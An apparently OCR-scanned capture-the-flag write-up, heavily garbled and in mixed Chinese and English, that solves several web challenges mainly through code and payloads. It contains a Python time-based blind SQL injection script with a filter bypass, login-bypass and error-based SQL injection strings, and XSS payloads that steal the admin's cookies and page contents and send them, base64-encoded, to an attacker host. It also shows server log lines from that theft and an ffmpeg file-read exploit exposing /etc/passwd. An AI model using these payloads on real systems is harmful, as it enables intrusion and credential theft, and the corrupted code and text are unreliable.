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PHP execise

http://106.75.126.194:6789
%M http://106.75.126.228:6789

WA\ R EBRBHITphpRIBH, F T — Tdisabled_function

assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcnt
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$dir="./";$file=scandir($dir);print_r($file);

copy flag3C 4 Ntxtse 4

copy('flag 62cfc2dc115277d0co4edof74e48e3e9.php’, 'lemon.txt");
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BT — T HAIHERwp, EFIREZ M, globikHZ, include. show_sourcei BUC f4

wanna to see your hat

http://106.75.106.203:1515
%M http://61.174.9.233:1515
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http://106.75.106.203:1515/.svn/

svnik & T R https://github.com/kost/dvcs-ripper
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<?php

defined('black hat') or header('Location: route.phpZact=login'}:
sesgsion start():

include once "common.php":
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$cannect=mysq1_connect "127.0.0.1", "root", "root")} or die("there ia no ctf!"):
my=gl select db("hat="} or die("there is no hats!");
7 if (isset(f POST["name"])){
g Zname -=-str replace("'"™, -"", -trim(waf (5 POST["name™]))):
g if (strlen(fname) > 11){
10 echo ("<zcriptralert ('name too long')</script>"):
11 lelsed
12 23gl = "select count(*) from t_info where username = 'fname' or nickname = 'Fname'";
1 echo £agl:;

Sresult = mysgl_qmery (Ss5gl):
frow = mysgl fetch array($result);
if ($row[0]){
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17 § SESSION['hat'] = 'black';
18 echo "good job':

1€ telsed

2 § SESSION['hat'] = 'green';

21 }

22 header ("Location: index.php"):
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http://61.174.9.233:1515/route.php?act=1ogin
name=or/**/1=1%23"'&submit=check

flag{good_job_white_hat}

flag vending machine

http://202.5.20.48/
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import requests

site = 'http://202.5.20.48/'
url = site + 'register.php’
urll = site + 'login.php'

url2 = site + 'buy.php?id=1'

headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11 1) AppleWebKit/601.2.7 (KHTML, lik
"Content-Type": "application/x-www-form-urlencoded"}

s = requests.session()
def reg(username):

data = {

'liear' + 11cAername
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‘pass' : '123456'

)

r = s.post(url,data=data,headers=headers)

return r.content

def login(username):
user = username.replace('on','")
#print user

data = {
'user': user,
'pass' : '123456'
}

rl = s.post(urll,data=data,headers=headers)
return rl.content

def get_sql():
r = s.get(url2,timeout=1)

def bypasswaf(payload):
# add on
k =['on","ff"]
for i in k:
payload = payload.replace(i,i[@]+'on'+i[1:])

1 = ['select', 'union', 'where']
for i in 1:
payload = payload.replace(i,i[:3]+'on'+i[3:])

# 1 = ['limit']
# for i in 1:
# payload = payload.replace(i,i[:2]+'on'+i[2:])

return payload

def exp(n):

for i in range(33,127):

#for i in range(97,123):
#n = 25
sql = "select table_name from information_schema.TABLES where TABLE_SCHEMA=database() limit @,1"
sql = "select COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA=database() limit @,1"
sql = "select thisi5f14g from ffflag"
#sql = "select 3456"
sql = bypasswaf(sql)
#user = "lemonkka'-(if(ord(mid((%s),%d,1))=%d,sleep(2),1))-0#" % (sql,n,i)
user = "zzzkacaa'-(if(ord(mid((%s),%d,1))=%d,sleep(0.0001),1))-1#" % (sql,n,i)

if 'exited' in reg(user):

login(user)
try:

get_sql()
except:

return chr(i)

for i in range(1,30):
print i, 'th: data’
print exp(i)
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Guestbook

http://106.75.119.64:8888/
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var iframe = document.createElement('iframe');

iframe.src = 'about:blank';
document.body.appendChild(iframe);

window.XMLHttpRequest = iframe.contentWindow.XMLHttpRequest;
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hello guest,if you want, you can rname.

You can also send message to the administrator, the administrator will review your.

F 48 R i% & administratorfE Abot £ i2 17 XA EH A FIxssfiY, /admin/review.phpi’irmb,
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var pkav = {
ajax: function () {
var xmlHttp;
try {
xmlHttp = new XMLHttpRequest();
} catch (e) {
try {
xmlHttp = new ActiveXObject('Msxml2.XMLHTTP');
} catch (e) {
try {
xmlHttp = new ActiveXObject('Microsoft.XMLHTTP');
} catch (e) {

you are



return false;

}
return xmlHttp;
s
req: function (url, data, method, callback) {
method = (method || '').toUpperCase();
method = method || 'GET';
data = data || '';
if (url) {
var a = this.ajax();
a.open(method, url, true);
if (method == 'POST"') {
a.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
}
a.onreadystatechange = function () {
if (a.readyState == 4 && a.status == 200) {
if (callback) {
callback(a.responseText);

}
s
if ((typeof data) == 'object') {
var arr = [
1
for (var i in data) {
arr.push(i + "=' + encodeURIComponent(data[i]));
}
a.send(arr.join('&"));
} else {
a.send(data || null);

¥
s
get: function (url, callback) {
this.req(url, "', 'GET', callback);
s
post: function (url, data, callback) {
this.req(url, data, 'POST', callback);
¥
s
pkav.post('http://106.75.119.64:8888/rename.php"’, 'nname=admin"’,function(data){
pkav.get('http://106.75.119.64:8888/"',function(data){
pkav.get('http://106.75.119.64:8888/admin/review.php',function(data){
var content = window.btoa(document.cookie).concat(window.btoa(data));
var not = document.createElement("1link");
not.setAttribute("rel", "prefetch");
not.setAttribute("href", "//ipipip/".concat(content));
document.head.appendChild(net);
1
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<script>

var iframe = document.createElement("iframe");

iframe.setAttribute("src", "/admin/");

document.body.appendChild(iframe);

iframe.addEventListener( "load", function(){
var content = iframe.contentWindow.document.cookie;
var ndt = document.createElement("1link");
not.setAttribute("rel", "prefetch");
not.setAttribute("href", "//ipipip:8080/".concat(window.btoa(content)));
document.head.appendChild(net);

}, false);

</script>

120.132.61.162 - - [09/]ul/2017:22:44:40 +0800] "GET /YWRtaW49ZmxhZ3tjcjRjal9jNXBfbTRSYmVEM3p9 HTTP/1.
1" 404 -
120.132.61.162 - - [09/Jul/2017:22:44:40 +0800] "GET /YWRtaW49ZmxhZ3tjcjRjal9jNXBfbTRSYmVFM3p9 HTTP/1.

1" 404 - "http://106.75.103.149:8888/uploads/2017-07-09-22-44-27-hxd1RTF2rgMq.html" "Mozilla/5.@ (Wind
ows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36"
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username=xxeel&phone=-12" and extractvalue(®x2a,concat(®x2a, (select table_name /*!50000from*/ information_s
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username=xxeel&phone=-12" and updatexml(1,concat(@x7e, (select a.name /*!50000from*/ (select password as nam
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U\/proc/Self/cmdlineﬁﬂlfumﬁﬁﬁﬁﬁé


https://github.com/neex/ffmpeg-avi-m3u-xbin

orvar/ualhtml/bin/ffmpeg-
3.1.6/ffmpeg -1 upload/ed4fdf8lef
I elf9? 4df6dd67b41d3bea .avi
result/e4fdf8lef9fesf 974df6dd6?

b41d3bea .mp4 &

18/ var /v html/binAfmpeg-3.1.6
sffmpeg -1 u
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rovL . X.U.U.rovt ./ /rouc -./nl

n/bashgsOm3bOdy :x:1001:1001: : /ho
me./sOm3 bOdy :Sdaemon:x:1:1:d
aemon:/usr/sbhin: /usr/sbhin/nologi

nghin:x:2:2: bin:/bin: usr/s
"bin/nologinfsys:x:3:3:sys:/dev:/
‘usr/sbhin/nol |

BJE BEHL /home /s0m3b0dy/ flagf8 Elflag
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INSERT ... ON DUPLICATE KEY UPDATE Syntax
http://blog.csdn.net/ghsau/article/details/23557915
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